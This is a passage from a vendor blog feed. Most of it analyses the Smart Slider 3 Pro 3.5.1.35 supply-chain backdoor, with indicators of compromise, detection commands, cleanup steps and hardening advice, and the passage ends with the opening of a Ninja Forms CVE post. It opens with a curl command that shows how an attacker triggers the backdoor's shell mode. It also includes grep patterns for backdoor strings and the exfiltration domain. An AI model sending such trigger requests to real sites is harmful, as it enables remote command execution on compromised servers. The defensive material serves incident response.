&lt;pre&gt;&lt;code&gt;curl -X POST &quot;https://victim.example.com/?_chk=SECRET&amp;amp;m=sh&quot; \
     --data &quot;d=$(echo &apos;id; uname -a&apos; | base64)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The attacker&apos;s challenge is knowing the secret. Either they know it because they planted it (the compromised installer wrote it during plugin activation), or they have a separate channel to retrieve it from infected sites. Both paths exist in this incident: Nextend&apos;s advisory describes additional persistence files in &lt;code&gt;/cache&lt;/code&gt; and &lt;code&gt;/media&lt;/code&gt; that likely include exfiltration code to phone home with the secret and the site URL.&lt;/p&gt;
&lt;h3&gt;Why This Is Worse Than a Normal Vulnerability&lt;/h3&gt;
&lt;p&gt;A normal plugin vulnerability is a coding mistake that an attacker can exploit if they find it. A supply-chain compromise is the attacker shipping their own code through the legitimate update channel. Every site that updates is willingly installing the backdoor.&lt;/p&gt;
&lt;p&gt;With CVE-2026-3098 last week, an attacker needed a subscriber account and knowledge of the export AJAX endpoint. With 3.5.1.35, an attacker needs nothing except for the site to have clicked &quot;update&quot;. The plugin runs with full PHP privileges, so the backdoor inherits all of that.&lt;/p&gt;
&lt;p&gt;This also means the usual mental model breaks. Your firewall rules, your nonce checks, your role-based permissions, none of them apply, because the malicious code is running inside your trusted plugin code path. It is the plugin.&lt;/p&gt;
&lt;h2&gt;Indicators of Compromise: How to Tell If Your Site Was Infected&lt;/h2&gt;
&lt;p&gt;If your Smart Slider 3 Pro version was at any point 3.5.1.35, run all of these checks before assuming you are clean.&lt;/p&gt;
&lt;h3&gt;1. Hidden Admin Accounts&lt;/h3&gt;
&lt;p&gt;Nextend&apos;s advisory describes the malicious installer creating administrator accounts with usernames starting with &lt;code&gt;wpsvc_&lt;/code&gt; and an email address of &lt;code&gt;kiziltxt2@gmail.com&lt;/code&gt;. On Joomla, the same pattern applies.&lt;/p&gt;
&lt;p&gt;WordPress check via WP-CLI:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp user list --role=administrator --fields=user_login,user_email
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Look for any account starting with &lt;code&gt;wpsvc_&lt;/code&gt; or with the &lt;code&gt;kiziltxt2@gmail.com&lt;/code&gt; email. SQL alternative:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT user_login, user_email, user_registered
FROM wp_users
WHERE user_login LIKE &apos;wpsvc_%&apos;
   OR user_email LIKE &apos;%kiziltxt2@gmail.com%&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Joomla equivalent:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT username, email, registerDate
FROM jos_users
WHERE username LIKE &apos;wpsvc_%&apos;
   OR email LIKE &apos;%kiziltxt2@gmail.com%&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace &lt;code&gt;jos_&lt;/code&gt; with your actual table prefix.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How mySites.guru helps:&lt;/strong&gt; &lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;universal user management&lt;/a&gt; lists every user account across every connected site in one view. Sort by registration date or filter by username pattern to spot &lt;code&gt;wpsvc_*&lt;/code&gt; accounts across hundreds of sites at once, instead of logging into each one.&lt;/p&gt;
&lt;h3&gt;2. Backdoor Files in Cache and Media Directories&lt;/h3&gt;
&lt;p&gt;The advisory specifies &lt;code&gt;cf_check.php&lt;/code&gt; files placed in &lt;code&gt;/cache&lt;/code&gt; and &lt;code&gt;/media&lt;/code&gt; (Joomla) and equivalent locations on WordPress (&lt;code&gt;wp-content/cache&lt;/code&gt;, &lt;code&gt;wp-content/uploads&lt;/code&gt;, &lt;code&gt;wp-content/mu-plugins&lt;/code&gt;). Find them:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find . -name &apos;cf_check.php&apos; -type f
find wp-content/mu-plugins -type f -name &apos;*.php&apos; -newer /tmp/reference-timestamp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any unexpected PHP files in cache, media, or upload directories should be considered hostile until proven otherwise. Legitimate files in those directories are extremely rare.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How mySites.guru helps:&lt;/strong&gt; the &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files report&lt;/a&gt; flags exactly this kind of orphan PHP file living outside the normal core/plugin paths. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; catches &lt;code&gt;cf_check.php&lt;/code&gt; and similar known backdoor filenames automatically across every connected site.&lt;/p&gt;
&lt;h3&gt;3. Backdoor Strings in PHP Files&lt;/h3&gt;
&lt;p&gt;Grep for the literal strings the malicious payload uses:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep -rEn &apos;_wpc_ak|wpjs1\.com|kiziltxt2@gmail\.com&apos; \
  --include=&apos;*.php&apos; .
grep -rEn &apos;eval\s*\(\s*base64_decode&apos; --include=&apos;*.php&apos; .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first command catches the option key, the exfiltration domain, and the attacker email. The second catches the most common PHP backdoor pattern, which appears in the malicious code samples Nextend shared.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How mySites.guru helps:&lt;/strong&gt; the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; runs the same pattern matching across every connected site, then &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; explains exactly what each suspicious snippet does so you can triage real threats from false positives without reading every flagged file by hand.&lt;/p&gt;
&lt;h3&gt;4. Recently Modified PHP Files&lt;/h3&gt;
&lt;p&gt;Any PHP file modified between the release of 3.5.1.35 and your update to 3.5.1.36 should be reviewed. If you do not know that window, check anything modified in the last fourteen days:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find . -name &apos;*.php&apos; -mtime -14 -type f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cross-reference this list against your normal deployment activity.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How mySites.guru helps:&lt;/strong&gt; &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file change alerts&lt;/a&gt; tell you the moment a PHP file changes outside a normal update window, with email notifications. Instead of running &lt;code&gt;find -mtime&lt;/code&gt; after the fact, you would have known the same day the backdoor was planted.&lt;/p&gt;
&lt;h3&gt;5. Theme File Modifications&lt;/h3&gt;
&lt;p&gt;Nextend mentions infected theme files as part of the persistence mechanism. The &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;mySites.guru file change monitor&lt;/a&gt; catches this automatically by comparing every PHP file&apos;s hash against the previous snapshot. If a theme file changed without a corresponding template update, you have an answer.&lt;/p&gt;
&lt;h3&gt;6. The &lt;code&gt;_wpc_ak&lt;/code&gt; Database Option&lt;/h3&gt;
&lt;p&gt;The most direct indicator: if the &lt;code&gt;_wpc_ak&lt;/code&gt; option exists in your &lt;code&gt;wp_options&lt;/code&gt; table, the backdoor planted its key.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM wp_options WHERE option_name = &apos;_wpc_ak&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Joomla equivalent depends on where the malicious code stored its key. Check the &lt;code&gt;#__extensions&lt;/code&gt; params, &lt;code&gt;#__assets&lt;/code&gt;, and any plugin-specific tables for entries with names starting with &lt;code&gt;_wpc_&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How mySites.guru helps:&lt;/strong&gt; the &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;deep security audit&lt;/a&gt; walks the database looking for unexpected options, modified core files, and tampered configuration. For Joomla sites specifically, the &lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;database security check&lt;/a&gt; verifies privileges and looks for rows planted by malicious code.&lt;/p&gt;
&lt;h2&gt;mySites.guru Is Already Finding the Smart Slider 3 Backdoor on Live Client Sites&lt;/h2&gt;
&lt;p&gt;We are already seeing this backdoor on real connected sites. The screenshot below is from a client site that was running 3.5.1.35 when its scheduled audit ran overnight. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; caught it and flagged the file three hours ago:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;One file. Sixteen lines of PHP. Six separate suspect content matches, each tied to the exact line number with a label that explains why it is hostile. The scanner catches the indicators we covered above (&lt;code&gt;_wpc_ak&lt;/code&gt;, &lt;code&gt;eval(base64_decode&lt;/code&gt;, &lt;code&gt;shell_exec&lt;/code&gt;), but it also flags three things Nextend&apos;s advisory does not mention at all:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A &lt;code&gt;pre_user_query&lt;/code&gt; filter on line 12 that hides any user whose ID matches the &lt;code&gt;_wpc_uid&lt;/code&gt; option. The attacker&apos;s hidden admin account never shows up in &lt;code&gt;Users &amp;gt; All Users&lt;/code&gt;. If you only check the WordPress user list in wp-admin, you see nothing wrong.&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;magic_login&lt;/code&gt; endpoint on line 13 that accepts a &lt;code&gt;_wplogin&lt;/code&gt; query parameter, validates it with an HMAC-SHA256 of the string &lt;code&gt;magic_login&lt;/code&gt; keyed by &lt;code&gt;AUTH_KEY.SECURE_AUTH_KEY&lt;/code&gt;, then forges an auth cookie for the user ID stored in &lt;code&gt;_wpc_uid&lt;/code&gt; and redirects through a base64-decoded URL. The attacker can log in as the hidden admin from any browser, without ever sending a password.&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;magic_login_v2&lt;/code&gt; variant on line 14 that does the same thing but skips the option lookup. It runs a SQL query for any existing administrator account whose username starts with &lt;code&gt;wpsvc_&lt;/code&gt;, falls back to a generic &lt;code&gt;%administrator%&lt;/code&gt; match if that fails, and logs in as the first match. This is the attacker&apos;s backup channel in case the &lt;code&gt;_wpc_uid&lt;/code&gt; option gets deleted.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So the payload is not just a remote shell. It is a full persistence kit. If your cleanup only removes the &lt;code&gt;_chk&lt;/code&gt; shell handler that the Nextend advisory describes, the attacker still has two working login paths and an invisible admin account waiting for them.&lt;/p&gt;
&lt;h3&gt;How to Run the Scan and Fix Across All Your Sites&lt;/h3&gt;
&lt;p&gt;The suspect content scanner runs as part of every mySites.guru audit. For a single site, open the site in the dashboard and check the Suspect Content section of its audit report. For your whole portfolio, every scheduled audit runs the same scan automatically and any flagged file shows up in the global activity feed.&lt;/p&gt;
&lt;p&gt;Every match in the screenshot has its own action buttons. The red flag marks the file as confirmed hostile and queues it for cleanup. The green flag marks it as a false positive so the scanner stops alerting on it for that site. The purple AI button sends the snippet to the &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt;, which writes a plain-English explanation of what the code does. The trash icon deletes the file from the server. The edit icon opens the file inline so you can strip the malicious lines out of a file that also contains legitimate code.&lt;/p&gt;
&lt;p&gt;For the 3.5.1.35 case, &lt;code&gt;object-cache-helper.php&lt;/code&gt; is not a real WordPress core or plugin file. The whole file is malicious. The right action is delete. That cuts off every backdoor in one click. Then update Smart Slider 3 Pro to 3.5.1.36, run the indicator-of-compromise checks above, and look at whatever else the same audit run flagged - the attacker may have dropped more than one file.&lt;/p&gt;
&lt;p&gt;If you manage 50 or 200 client sites, the next scheduled audit answers the question &quot;did any of mine get hit by 3.5.1.35&quot; without you logging into anything.&lt;/p&gt;
&lt;h2&gt;Cleanup: How to Recover an Infected Smart Slider 3 Pro Site&lt;/h2&gt;
&lt;p&gt;Nextend has published an &lt;a href=&quot;https://nextendweb.com/public/cleanup.zip&quot;&gt;official cleanup zip&lt;/a&gt; that removes the known indicators of compromise. Their cleanup performs the steps below automatically. If you prefer to do it manually, or want to verify the cleanup ran correctly, here is the order.&lt;/p&gt;
&lt;h3&gt;1. Take a Forensic Backup First&lt;/h3&gt;
&lt;p&gt;Before deleting anything, take a full backup of the file system and database. If the site is later determined to have been compromised in a way the cleanup script does not address, you need the original artifacts to investigate. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;one-click backup&lt;/a&gt; handles this in seconds.&lt;/p&gt;
&lt;h3&gt;2. Update to 3.5.1.36 Immediately&lt;/h3&gt;
&lt;p&gt;Through the WordPress plugin updater or Joomla&apos;s extension manager. Verify the version after update.&lt;/p&gt;
&lt;h3&gt;3. Run the Nextend Cleanup Script&lt;/h3&gt;
&lt;p&gt;Download &lt;code&gt;cleanup.zip&lt;/code&gt; from &lt;a href=&quot;https://nextendweb.com/public/cleanup.zip&quot;&gt;nextendweb.com/public/cleanup.zip&lt;/a&gt;, upload it to the site, and follow the instructions in the official advisory. The script removes hidden admin accounts, deletes the known backdoor files, and cleans modifications to theme files.&lt;/p&gt;
&lt;p&gt;For one or two affected sites, this is a quick job. For 50 or 200, the prospect of SFTPing into each one, uploading the zip, running it, and verifying it ran cleanly is what makes this kind of incident eat a whole day.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;Push the Nextend cleanup zip to every affected site in one batch&lt;/p&gt;
      &lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/&quot;&gt;mass package install&lt;/a&gt; tool was built for pushing plugin installs across hundreds of sites at once. Same workflow works for the Nextend cleanup zip: upload it once, pick every site running Smart Slider 3, and deploy. No SFTP, no per-site admin login, no copy-pasting credentials. A 200-site cleanup turns into a couple of clicks.&lt;/p&gt;
      &lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/&quot;&gt;Read how mass package install works &lt;/a&gt;&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;4. Delete the &lt;code&gt;_wpc_ak&lt;/code&gt; Option&lt;/h3&gt;
&lt;p&gt;After the cleanup script runs, verify the option is gone:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DELETE FROM wp_options WHERE option_name = &apos;_wpc_ak&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. Reset All Credentials&lt;/h3&gt;
&lt;p&gt;Treat the site as having had its file system fully read by an attacker. That means:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;New WordPress admin passwords for every account&lt;/li&gt;
&lt;li&gt;New &lt;code&gt;wp-config.php&lt;/code&gt; authentication keys and salts (&lt;a href=&quot;https://api.wordpress.org/secret-key/1.1/salt/&quot;&gt;generator&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;New database password&lt;/li&gt;
&lt;li&gt;New hosting control panel password&lt;/li&gt;
&lt;li&gt;New FTP/SSH passwords if used&lt;/li&gt;
&lt;li&gt;New API keys for any service whose credentials might be in &lt;code&gt;wp-config.php&lt;/code&gt;, &lt;code&gt;.env&lt;/code&gt;, or similar files&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6. Audit User Accounts Across the Board&lt;/h3&gt;
&lt;p&gt;Use mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;universal user management&lt;/a&gt; to review accounts across all your sites in one place. Hidden accounts may exist with names that do not match the &lt;code&gt;wpsvc_&lt;/code&gt; pattern if a more sophisticated attacker piggybacked on the same backdoor.&lt;/p&gt;
&lt;h3&gt;7. Run a Full Security Scan&lt;/h3&gt;
&lt;p&gt;Use the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;mySites.guru suspect content scanner&lt;/a&gt; to look for additional backdoors, modified core files, and any PHP files in unexpected locations. Pair it with &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; for files the rule-based scanner flags as suspicious.&lt;/p&gt;
&lt;h3&gt;8. Enable File Change Monitoring Going Forward&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-time file change alerts&lt;/a&gt; catch any future modifications to PHP files outside normal deployment activity. If a backdoor returns, you find out within hours instead of after the next breach is announced.&lt;/p&gt;
&lt;h3&gt;9. Review Server Access Logs&lt;/h3&gt;
&lt;p&gt;Look for POST requests to your site root containing a &lt;code&gt;_chk&lt;/code&gt; query parameter. Any such requests indicate the backdoor was used, and you need to investigate what was done with that access. Common patterns:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /?_chk=...&amp;amp;m=sh HTTP/1.1
POST /?_chk=...&amp;amp;m=php HTTP/1.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the requests succeeded with 200 responses and your site logs showed activity from unfamiliar IPs, escalate the investigation.&lt;/p&gt;
&lt;h2&gt;Is the Joomla Version of Smart Slider 3 Pro Also Compromised?&lt;/h2&gt;
&lt;p&gt;Yes. Nextend published a separate &lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2143-joomla-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;Joomla security advisory&lt;/a&gt; covering the same incident. The Joomla edition of Smart Slider 3 Pro 3.5.1.35 received the same compromised release through the same channel.&lt;/p&gt;
&lt;p&gt;The malicious behaviors described in the Joomla advisory are the same family as the WordPress version:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hidden Joomla administrator accounts with usernames starting with &lt;code&gt;wpsvc_&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Backdoor files in &lt;code&gt;/cache/cf_check.php&lt;/code&gt;, &lt;code&gt;/media/cf_check.php&lt;/code&gt;, and possibly in &lt;code&gt;/tmp&lt;/code&gt; and &lt;code&gt;/images&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The same &lt;code&gt;eval(base64_decode(...))&lt;/code&gt; PHP execution pattern&lt;/li&gt;
&lt;li&gt;Exfiltration to &lt;code&gt;wpjs1.com&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you manage Joomla sites with Smart Slider 3 Pro installed, treat this with identical urgency. Update to 3.5.1.36, run the same indicator checks (adapted for Joomla paths), and use Nextend&apos;s cleanup script.&lt;/p&gt;
&lt;p&gt;This is also the second time we have flagged the same Joomla codebase in two weeks. Last week&apos;s &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;CVE-2026-3098 post&lt;/a&gt; confirmed that the WordPress and Joomla editions share identical vulnerable files. This week confirms that they share identical compromised distribution. If you are running Smart Slider 3 Pro on Joomla, you are exposed to every WordPress incident this plugin has, and probably will continue to be.&lt;/p&gt;
&lt;h2&gt;What This Incident Tells Us About Plugin Supply Chains&lt;/h2&gt;
&lt;p&gt;Supply-chain attacks on commercial CMS plugins are rare in public disclosure but probably more common than the published incidents suggest. This is the kind of compromise where the vendor often discovers it months later, and only the victims who notice unusual activity ever get told.&lt;/p&gt;
&lt;p&gt;The defenses that matter:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Version pinning at the agency level.&lt;/strong&gt; If you manage many sites, do not auto-update commercial plugins on the day of release. Wait 48-72 hours. Most malicious releases are detected and pulled in that window. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled updates&lt;/a&gt; lets you stage update windows so client sites do not all jump on day-zero releases.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Inventory before incident.&lt;/strong&gt; When the next compromised release happens, you need to know which sites have which versions in seconds, not hours. That is what an extension snapshot is for. Manual checking is not viable when you manage 50+ sites.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File change monitoring.&lt;/strong&gt; Plugin updates do legitimate file changes. A backdoor planted by a plugin update looks the same as the plugin update itself. But after the update settles, any further changes to PHP files in &lt;code&gt;/cache&lt;/code&gt;, &lt;code&gt;/uploads&lt;/code&gt;, or &lt;code&gt;/mu-plugins&lt;/code&gt; are anomalous, and a file change monitor catches them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Separation between dev, staging, and production.&lt;/strong&gt; Push commercial plugin updates to staging first. Run them for 24 hours. If the plugin starts making outbound connections to unfamiliar domains or writing files to cache directories, you catch it before production sees a single request.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Treat plugin code as hostile.&lt;/strong&gt; Run PHP with &lt;code&gt;disable_functions = exec,shell_exec,passthru,system,popen&lt;/code&gt; where the plugins you use do not need them. This particular backdoor&apos;s shell mode would have failed silently with no shell access. The PHP eval mode would still have worked, but you cut off half the attack surface for a one-line config change.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Smart Slider 3 Pro 3.5.1.35 Compromise Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;March 24, 2026&lt;/td&gt;
&lt;td&gt;Smart Slider 3.5.1.34 released, patching CVE-2026-3098&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Late March 2026&lt;/td&gt;
&lt;td&gt;Smart Slider 3 Pro 3.5.1.35 released through Nextend&apos;s compromised update infrastructure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Early April 2026&lt;/td&gt;
&lt;td&gt;Nextend detected the compromise, pulled 3.5.1.35 from distribution, and audited their systems&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 2026&lt;/td&gt;
&lt;td&gt;Smart Slider 3 Pro 3.5.1.36 released as the safe replacement&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 8, 2026&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2144-wordpress-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;WordPress&lt;/a&gt; and &lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2143-joomla-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;Joomla&lt;/a&gt; security advisories published&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Want Someone to Handle This for You?&lt;/h2&gt;
&lt;p&gt;If you&apos;d rather not work through the cleanup steps yourself, visit &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; and submit a request. For a one-time set fee, the site gets patched, audited for backdoors, locked down, and handed back secure. Non-subscribers get a free month of mySites.guru included.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2144-wordpress-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;Nextend WordPress Security Advisory: Smart Slider 3 Pro 3.5.1.35 Compromise&lt;/a&gt; - the official WordPress advisory&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2143-joomla-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;Nextend Joomla Security Advisory: Smart Slider 3 Pro 3.5.1.35 Compromise&lt;/a&gt; - the official Joomla advisory&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nextendweb.com/public/cleanup.zip&quot;&gt;Nextend cleanup script&lt;/a&gt; - automated removal of known indicators of compromise&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Last week&apos;s CVE-2026-3098 post&lt;/a&gt; - the file read vulnerability that prompted the 3.5.1.34 update&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/essential-plugin-wordpress-backdoor/&quot;&gt;The Essential Plugin backdoor&lt;/a&gt; - the other supply chain attack that hit the same week, using plugin acquisition rather than update server compromise&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://api.wordpress.org/secret-key/1.1/salt/&quot;&gt;WordPress secret key generator&lt;/a&gt; - regenerate authentication keys after credential reset&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;For a broader look at managing CMS security across many sites, see our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>joomla</category><category>security</category><category>plugins</category><category>vulnerability</category><category>smart slider</category><category>supply chain</category><enclosure url="https://mysites.guru/_astro/smart-slider-3-pro-supply-chain-compromise.BR1XTWc7.png" length="0" type="image/png"/></item><item><title>Ninja Forms File Uploads CVE-2026-0740: The AJAX Pattern Strikes Again</title><link>https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/</link><guid isPermaLink="true">https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/</guid><description>CVE-2026-0740 is a CVSS 9.8 unauthenticated RCE in the Ninja Forms File Uploads AJAX handler, now actively exploited with over 118,600 attempts blocked by Wordfence. Here is how the flaw works, why the first patch failed, the IoCs to hunt, and how to find vulnerable sites fast.</description><pubDate>Tue, 07 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The vulnerable function in &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0740&quot;&gt;CVE-2026-0740&lt;/a&gt;, disclosed by Wordfence on April 6, is called &lt;code&gt;NF_FU_AJAX_Controllers_Uploads::handle_upload&lt;/code&gt;. That class name tells you the entire story before you read a line of code. A WordPress plugin registered an AJAX handler for file uploads, missed a validation step, and shipped an unauthenticated remote code execution vulnerability to around &lt;strong&gt;50,000 sites&lt;/strong&gt; running Ninja Forms File Uploads. CVSS 9.8.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Update, 16 April 2026:&lt;/strong&gt; Wordfence has now &lt;a href=&quot;https://www.wordfence.com/blog/2026/04/attackers-actively-exploiting-critical-vulnerability-in-ninja-forms-file-upload-plugin/&quot;&gt;confirmed active exploitation in the wild&lt;/a&gt;. Attackers started hitting the vulnerability the same day it was disclosed (April 6), with mass exploitation between April 9 and 13, and the Wordfence firewall has blocked &lt;strong&gt;over 118,600 exploit attempts&lt;/strong&gt; so far. Observed payloads include PHP webshells dropped into the webroot, magic-byte-prefixed files stored as &lt;code&gt;.php&lt;/code&gt;, and malicious &lt;code&gt;.htaccess&lt;/code&gt; files that turn harmless file types into executable PHP. If any of your sites are below 3.3.27, assume mass scanners have already reached them - &lt;a href=&quot;#are-there-indicators-of-compromise-for-cve-2026-0740&quot;&gt;scroll to the IoC list&lt;/a&gt; and check now.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is the fifth AJAX-handler-with-missing-checks CVE we have written about this year. That is not a coincidence, it is a pattern. We &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;dug into the pattern in depth last week&lt;/a&gt;: WordPress&apos;s &lt;code&gt;admin-ajax.php&lt;/code&gt; and Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; were built as lightweight utility endpoints where the framework does almost nothing and expects plugin developers to handle authentication, authorization, and input validation themselves. When they don&apos;t - or when they check the obvious things and miss the subtle ones - you get CVE-2026-0740, and &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;CVE-2026-21628 (Astroid Framework)&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;CVE-2026-21627 (Novarain Framework)&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;CVE-2026-3098 (Smart Slider 3)&lt;/a&gt;, and CVE-2025-8489 (King Addons for Elementor), and the next one that will land before the month is out.&lt;/p&gt;
&lt;p&gt;Ninja Forms is interesting because the developers actually did check things. That is what makes this one different from the Astroid or Novarain pattern where the handler had no real checks at all. Ninja Forms checked a nonce, validated the source file type, and required form and field IDs. They even shipped a patch when Wordfence reported the issue. The patch did not fix it - &lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ninja-forms-uploads/ninja-forms-file-upload-3326-unauthenticated-arbitrary-file-upload&quot;&gt;3.3.25 was a partial patch&lt;/a&gt;, and only 3.3.27 closes the hole.&lt;/p&gt;
&lt;p&gt;If you manage WordPress sites running Ninja Forms with the File Uploads add-on, stop reading and check your versions. Then come back.&lt;/p&gt;
